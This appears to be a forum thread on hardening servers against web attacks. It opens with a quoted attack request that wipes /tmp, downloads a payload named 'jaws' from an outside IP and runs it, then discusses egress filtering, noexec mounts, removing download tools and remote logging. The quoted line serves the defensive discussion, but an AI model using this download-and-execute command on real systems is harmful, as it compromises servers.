[gus_]

> GET /shell?cd+/tmp;rm+-rf+*;wget+ 107.6.255.231/jaws;sh+/tmp/jaws

in the case of a successful attack, some questions to ask could be:

- why did they manage to use wget?

- why {apache,nginx,postfix,exim,sendmail,...} is allowed to use wget, or curl, or nc or bash (or ...)?

- why is wget, curl, nc, telnet, .. installed on the server? can they be uninstalled? with (!!) if it's a container.

- why did they manage to execute files from /tmp, or /var/tmp, or /dev/shm? do these directories need write access for "others" or can they be mounted with "noexec"?

- ufw/iptables/nftables won't stop local binaries from opening outbound connections, how would you stop outbound connections by binary, path, etc?

- if they managed to wipe the logs, how could you have known all the commands they executed? could auditd+grafana (just an example) have helped here by sending logs to a remote server?

[TacticalCoder]

I agree with your questions to be asked if an attack succeeds but...

> ufw/iptables/nftables won't stop local binaries from opening outbound connections

Wait... Of course iptables/nftables can be used to prevent anything local from opening outbound connections. You can, say, easily have a firewall which only allows "NEW" traffic to be inbound traffic on either port 22 or 443.

They're called stateful firewalls for a reason.

For example on Debian you could configure the firewall so that the only user allowed to emit new traffic to get updates is the (/nonexistent:/user/sbin/nologin) user "_apt".

And for all those (not you) talking about the "cattle vs pet" thing, all this can be automated by hardening scripts you run exactly once, once you set up the server.

It's not because there are guides out there that every step in these guides have to be done manually, each time you configure a new server.